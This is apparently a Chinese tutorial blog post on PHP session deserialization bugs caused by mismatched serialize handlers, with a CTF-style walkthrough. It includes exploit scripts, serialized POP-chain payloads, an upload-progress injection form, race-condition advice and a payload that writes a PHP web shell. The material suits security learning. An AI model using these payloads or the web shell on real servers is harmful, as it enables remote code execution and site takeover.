zoukankan      html  css  js  c++  java
  • php中session中的反序列

    1、php   键名 + 竖线 + 经过 serialize() 函数反序列处理的值
    2、php_binary    键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
    3、php_serialize (php>=5.5.4)    经过 serialize() 函数反序列处理的数组

    phpinfo.php默认处理方式就是php

    第一种php的:

    ini_set('session.serialize_handler', 'php');
    session_start();
    $_SESSION['afanti']='test';

    生成的session文件      afanti|s:4:"test";

    第二种php_binary:

    ini_set('session.serialize_handler', 'php_binary');
    session_start();
    $_SESSION['afanti']='test';

    生成的session文件      afantis:4:"test";

    第三种php_serialize :

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['afanti']='test';

    生成的session文件    a:1:{s:6:"afanti";s:4:"test";}

    如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。
    原因是未正确处理\’|\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据

     举个简单例子,看下session参数配置:

    存在index.php和class.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
    index.php,使用php_serialize来存放session

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["spoock"]=$_GET["a"];

    class.php 

    使用php来使用session。这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}作为value,然后进行反序列化,最后就会得到lemon这个类,覆盖h1变量是phpinfo();就会被执行。
    这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

    <?php 
    
    ini_set('session.serialize_handler', 'php');
    session_start();
    var_dump($_SESSION);
    class lemon {
        var $hi;
        function __construct(){
            $this->hi = 'phpinfo();';
        }
        
        function __destruct() {
             eval($this->hi);
        }
    }
     ?>

    exp.php构造payload

    <?php 
    
    class lemon
    {
        public $hi = 'phpinfo();';
    }
    $a = new lemon();
    echo serialize($a); //O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";}

    将构造好的payload:|O:5:"lemon":1:{s:2:"hi";s:10:"phpinfo();";} 提交就会生成如下seesion文件。

     访问class.php时 var_dump($_SESSION); a:1:{s:6:"spoock";s:44:" 已经当做key了。我构造好的payload当做值了。成功执行了phpino()函数。

    小结一下:

    1、在存储session时,php_serialize来处理session(默认设置时,看phpinfo页面)

    2、使用session时,使用php处理session。

    3、什么时候反序列化session对象,记住当使用session_start()函数的时候,就会自动反序列化session文件中的对象。

    接下来一道实战:

     class.php 明显是让构造pop链

    class foo1{
            public $varr;
            function __construct(){
                    $this->varr = "index.php";
            }
            function __destruct(){
                    if(file_exists($this->varr)){
                            echo "<br>文件".$this->varr."存在<br>";
                    }
                    echo "<br>这是foo1的析构函数<br>";
            }
    }
    
    class foo2{
            public $varr;
            public $obj;
            function __construct(){
                    $this->varr = '1234567890';
                    $this->obj = null;
            }
            function __toString(){
                    $this->obj->execute();
                    return $this->varr;
            }
            function __desctuct(){
                    echo "<br>这是foo2的析构函数<br>";
            }
    }
    
    class foo3{
            public $varr;
            function execute(){
                    eval($this->varr);
            }
            function __desctuct(){
                    echo "<br>这是foo3的析构函数<br>";
            }
    }

    index.php

    ini_set('session.serialize_handler', 'php');
    
    require("./class.php");
    
    session_start();
    var_dump($_SESSION);
    
    $obj = new foo1();
    
    $obj->varr = "phpinfo.php";

    phpinfo页面,这时候知道存储session时是php_serialize. index.php处理session是 php。所以存在反序列化的洞

    我们先构造payload:  执行phpinfo函数。 O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

    <?php 
    
    class foo3{
        public $varr='phpinfo();';
        function execute()
        {
            eval($this->varr);
        }
    }
    class foo2{
            public $varr;
            public $obj;
            function __construct(){
                    $this->varr = '1234567890';
                    $this->obj = new foo3();
            }
            function __toString(){
                    $this->obj->execute();
                    return $this->varr;
            }
    }
    
    class foo1{
            public $varr;
            function __construct(){
                    $this->varr = new foo2();
            }
    
    }
    $a = new foo1();
    echo serialize($a); //O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}

    问题来了。我们输入不可控制,怎么注入payload,这个可以参考另一篇我写的文章。

    写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下,在123的位置注入payload

    <form action="index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>

    怎么进行注入,访问哪个页面会写入session中哪?其实当我们访问网站任意一个网页(保证session是以php_serialize方式存储的都可以)就能将session注入到文件中这里。建立一个index1.php空网页。

    构造如下数据包:

    生成的session文件内容

    访问index.php。因为index.php 有session_start()有反序列化操作,还包含了class.php类,

    看我们打印出来的session.因为是php处理的session,a:1:{s:146:"upload_progress_121被当做key。注入的对象当成值,导致注入,成功执行了phpinfo()。

    假如cleanup开启是on时,回清空注入的payload。我们可以通过时间竞争来生成shell.

    通过burp 如下配置

    当开始跑的时候,访问index.php。下面是成功反序列化的结果。当把payload换成 file_put_content('file','<?php eval($_POST['afanti']);?>');访问就能生成shell

    参考连接:

    https://yq.aliyun.com/ziliao/612

    http://www.91ri.org/15925.html

  • 相关阅读:
    UVa 12716 GCD XOR (简单证明)
    2.12 运行计划并取得数据行
    nyoj 628 小媛在努力 【搜索】
    ArcGIS Server 10.2 公布Oracle11g数据源的 Feature Service
    项目复习期总结3:CSS引入方式,凝视,命名规范,背景,行高,文本属性
    Android使用有道翻译API实如今线翻译功能
    _00017 Kafka的体系结构介绍以及Kafka入门案例(0基础案例+Java API的使用)
    夜&#183; 启程
    你不知道的JavaScript(六)Box&Unbox
    pugixml读取unicode编码的xml文件的做法
  • 原文地址:https://www.cnblogs.com/afanti/p/9228196.html
Copyright © 2011-2022 走看看